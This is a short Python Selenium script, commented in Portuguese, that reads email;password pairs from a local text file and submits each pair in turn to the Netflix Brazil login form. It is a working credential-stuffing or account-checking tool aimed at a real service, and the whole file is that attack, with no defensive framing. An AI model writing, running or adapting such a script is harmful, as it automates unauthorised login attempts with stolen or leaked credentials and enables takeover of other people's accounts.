from selenium import webdriver
from selenium.webdriver.common.keys import Keys
import time
arquivo = open('C:\\Users\\mathe\\Documents\\teste_emails.txt','r') # r = read
texto = arquivo.readlines() # isso vira uma lista cada linha é um elemento

browser = webdriver.Firefox(executable_path="C:\geckodriver.exe")
for linha in texto:
    partes = linha.split(';')
    email = str(partes[0]);senha = str(partes[1])
    browser.get("https://www.netflix.com/br/login")
    time.sleep(2)
    username = browser.find_element_by_id("email")
    password = browser.find_element_by_id("password")
    username.send_keys(email)
    password.send_keys(senha)
    login_attempt = browser.find_element_by_xpath("//*[@type='submit']")
    login_attempt.submit()
    time.sleep(2)